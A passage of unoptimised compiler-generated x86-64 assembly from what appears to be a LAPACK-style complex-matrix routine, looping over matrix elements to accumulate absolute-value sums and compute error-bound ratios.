movsd %xmm0, -560(%rbp) ## 8-byte Spill
jmp LBB0_163
LBB0_162: ## in Loop: Header=BB0_150 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -560(%rbp) ## 8-byte Spill
LBB0_163: ## in Loop: Header=BB0_150 Depth=3
movsd -536(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -552(%rbp), %xmm2 ## 8-byte Reload
## xmm2 = mem[0],zero
movsd -560(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm2
movsd -208(%rbp), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
## %bb.164: ## in Loop: Header=BB0_150 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_150
LBB0_165: ## in Loop: Header=BB0_148 Depth=2
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -196(%rbp), %eax
addl -216(%rbp), %eax
movl %eax, -216(%rbp)
## %bb.166: ## in Loop: Header=BB0_148 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_148
LBB0_167: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_195
LBB0_168: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_169: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_177 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_194
## %bb.170: ## in Loop: Header=BB0_169 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_172
## %bb.171: ## in Loop: Header=BB0_169 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -568(%rbp) ## 8-byte Spill
jmp LBB0_173
LBB0_172: ## in Loop: Header=BB0_169 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -568(%rbp) ## 8-byte Spill
LBB0_173: ## in Loop: Header=BB0_169 Depth=2
movsd -568(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -576(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_175
## %bb.174: ## in Loop: Header=BB0_169 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -584(%rbp) ## 8-byte Spill
jmp LBB0_176
LBB0_175: ## in Loop: Header=BB0_169 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -584(%rbp) ## 8-byte Spill
LBB0_176: ## in Loop: Header=BB0_169 Depth=2
movsd -576(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -584(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
movl -196(%rbp), %eax
subl $1, %eax
movl %eax, -100(%rbp)
movl $1, -188(%rbp)
LBB0_177: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_169 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_192
## %bb.178: ## in Loop: Header=BB0_177 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -108(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_180
## %bb.179: ## in Loop: Header=BB0_177 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -592(%rbp) ## 8-byte Spill
jmp LBB0_181
LBB0_180: ## in Loop: Header=BB0_177 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -592(%rbp) ## 8-byte Spill
LBB0_181: ## in Loop: Header=BB0_177 Depth=3
movsd -592(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -600(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_183
## %bb.182: ## in Loop: Header=BB0_177 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -608(%rbp) ## 8-byte Spill
jmp LBB0_184
LBB0_183: ## in Loop: Header=BB0_177 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -608(%rbp) ## 8-byte Spill
LBB0_184: ## in Loop: Header=BB0_177 Depth=3
movsd -600(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -608(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -616(%rbp) ## 8-byte Spill
movq 32(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_186
## %bb.185: ## in Loop: Header=BB0_177 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -624(%rbp) ## 8-byte Spill
jmp LBB0_187
LBB0_186: ## in Loop: Header=BB0_177 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -624(%rbp) ## 8-byte Spill
LBB0_187: ## in Loop: Header=BB0_177 Depth=3
movsd -624(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -632(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -144(%rbp)
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_189
## %bb.188: ## in Loop: Header=BB0_177 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -640(%rbp) ## 8-byte Spill
jmp LBB0_190
LBB0_189: ## in Loop: Header=BB0_177 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -640(%rbp) ## 8-byte Spill
LBB0_190: ## in Loop: Header=BB0_177 Depth=3
movsd -616(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -632(%rbp), %xmm2 ## 8-byte Reload
## xmm2 = mem[0],zero
movsd -640(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm2
movsd -208(%rbp), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
## %bb.191: ## in Loop: Header=BB0_177 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_177
LBB0_192: ## in Loop: Header=BB0_169 Depth=2
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -196(%rbp), %eax
addl -216(%rbp), %eax
movl %eax, -216(%rbp)
## %bb.193: ## in Loop: Header=BB0_169 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_169
LBB0_194: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_195
LBB0_195: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_246
LBB0_196: ## in Loop: Header=BB0_43 Depth=1
movl $1, -216(%rbp)
cmpl $0, -252(%rbp)
je LBB0_218
## %bb.197: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_198: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_200 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_217
## %bb.199: ## in Loop: Header=BB0_198 Depth=2
xorps %xmm0, %xmm0
movsd %xmm0, -208(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -100(%rbp)
movl -196(%rbp), %eax
movl %eax, -188(%rbp)
LBB0_200: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_198 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_215
## %bb.201: ## in Loop: Header=BB0_200 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -108(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_203
## %bb.202: ## in Loop: Header=BB0_200 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -648(%rbp) ## 8-byte Spill
jmp LBB0_204
LBB0_203: ## in Loop: Header=BB0_200 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -648(%rbp) ## 8-byte Spill
LBB0_204: ## in Loop: Header=BB0_200 Depth=3
movsd -648(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -656(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_206
## %bb.205: ## in Loop: Header=BB0_200 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -664(%rbp) ## 8-byte Spill
jmp LBB0_207
LBB0_206: ## in Loop: Header=BB0_200 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -664(%rbp) ## 8-byte Spill
LBB0_207: ## in Loop: Header=BB0_200 Depth=3
movsd -656(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -664(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -672(%rbp) ## 8-byte Spill
movq 32(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_209
## %bb.208: ## in Loop: Header=BB0_200 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -680(%rbp) ## 8-byte Spill
jmp LBB0_210
LBB0_209: ## in Loop: Header=BB0_200 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -680(%rbp) ## 8-byte Spill
LBB0_210: ## in Loop: Header=BB0_200 Depth=3
movsd -680(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -688(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -144(%rbp)
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_212
## %bb.211: ## in Loop: Header=BB0_200 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -696(%rbp) ## 8-byte Spill
jmp LBB0_213
LBB0_212: ## in Loop: Header=BB0_200 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -696(%rbp) ## 8-byte Spill
LBB0_213: ## in Loop: Header=BB0_200 Depth=3
movsd -672(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -688(%rbp), %xmm2 ## 8-byte Reload
## xmm2 = mem[0],zero
movsd -696(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm2
movsd -208(%rbp), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
## %bb.214: ## in Loop: Header=BB0_200 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_200
LBB0_215: ## in Loop: Header=BB0_198 Depth=2
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -216(%rbp), %eax
movq -56(%rbp), %rcx
addl (%rcx), %eax
subl -196(%rbp), %eax
addl $1, %eax
movl %eax, -216(%rbp)
## %bb.216: ## in Loop: Header=BB0_198 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_198
LBB0_217: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_245
LBB0_218: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_219: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_227 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_244
## %bb.220: ## in Loop: Header=BB0_219 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_222
## %bb.221: ## in Loop: Header=BB0_219 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -704(%rbp) ## 8-byte Spill
jmp LBB0_223
LBB0_222: ## in Loop: Header=BB0_219 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -704(%rbp) ## 8-byte Spill
LBB0_223: ## in Loop: Header=BB0_219 Depth=2
movsd -704(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -712(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_225
## %bb.224: ## in Loop: Header=BB0_219 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -720(%rbp) ## 8-byte Spill
jmp LBB0_226
LBB0_225: ## in Loop: Header=BB0_219 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -720(%rbp) ## 8-byte Spill
LBB0_226: ## in Loop: Header=BB0_219 Depth=2
movsd -712(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -720(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -100(%rbp)
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
LBB0_227: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_219 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_242
## %bb.228: ## in Loop: Header=BB0_227 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -108(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_230
## %bb.229: ## in Loop: Header=BB0_227 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -728(%rbp) ## 8-byte Spill
jmp LBB0_231
LBB0_230: ## in Loop: Header=BB0_227 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -728(%rbp) ## 8-byte Spill
LBB0_231: ## in Loop: Header=BB0_227 Depth=3
movsd -728(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -736(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_233
## %bb.232: ## in Loop: Header=BB0_227 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -744(%rbp) ## 8-byte Spill
jmp LBB0_234
LBB0_233: ## in Loop: Header=BB0_227 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -744(%rbp) ## 8-byte Spill
LBB0_234: ## in Loop: Header=BB0_227 Depth=3
movsd -736(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -744(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -752(%rbp) ## 8-byte Spill
movq 32(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_236
## %bb.235: ## in Loop: Header=BB0_227 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -760(%rbp) ## 8-byte Spill
jmp LBB0_237
LBB0_236: ## in Loop: Header=BB0_227 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -760(%rbp) ## 8-byte Spill
LBB0_237: ## in Loop: Header=BB0_227 Depth=3
movsd -760(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -768(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -144(%rbp)
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_239
## %bb.238: ## in Loop: Header=BB0_227 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -776(%rbp) ## 8-byte Spill
jmp LBB0_240
LBB0_239: ## in Loop: Header=BB0_227 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -776(%rbp) ## 8-byte Spill
LBB0_240: ## in Loop: Header=BB0_227 Depth=3
movsd -752(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -768(%rbp), %xmm2 ## 8-byte Reload
## xmm2 = mem[0],zero
movsd -776(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm2
movsd -208(%rbp), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, -208(%rbp)
## %bb.241: ## in Loop: Header=BB0_227 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_227
LBB0_242: ## in Loop: Header=BB0_219 Depth=2
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -216(%rbp), %eax
movq -56(%rbp), %rcx
addl (%rcx), %eax
subl -196(%rbp), %eax
addl $1, %eax
movl %eax, -216(%rbp)
## %bb.243: ## in Loop: Header=BB0_219 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_219
LBB0_244: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_245
LBB0_245: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_246
LBB0_246: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_247
LBB0_247: ## in Loop: Header=BB0_43 Depth=1
xorps %xmm0, %xmm0
movsd %xmm0, -208(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_248: ## Parent Loop BB0_43 Depth=1
## => This Inner Loop Header: Depth=2
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_272
## %bb.249: ## in Loop: Header=BB0_248 Depth=2
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
ucomisd -184(%rbp), %xmm0
jbe LBB0_260
## %bb.250: ## in Loop: Header=BB0_248 Depth=2
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_252
## %bb.251: ## in Loop: Header=BB0_248 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -784(%rbp) ## 8-byte Spill
jmp LBB0_253
LBB0_252: ## in Loop: Header=BB0_248 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -784(%rbp) ## 8-byte Spill
LBB0_253: ## in Loop: Header=BB0_248 Depth=2
movsd -784(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -792(%rbp) ## 8-byte Spill
movq 64(%rbp), %rdi
movslq -188(%rbp), %rax
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_255
## %bb.254: ## in Loop: Header=BB0_248 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -800(%rbp) ## 8-byte Spill
jmp LBB0_256
LBB0_255: ## in Loop: Header=BB0_248 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -800(%rbp) ## 8-byte Spill
LBB0_256: ## in Loop: Header=BB0_248 Depth=2
movsd -792(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -800(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
divsd (%rax,%rcx,8), %xmm0
movsd %xmm0, -144(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd -144(%rbp), %xmm0
jb LBB0_258
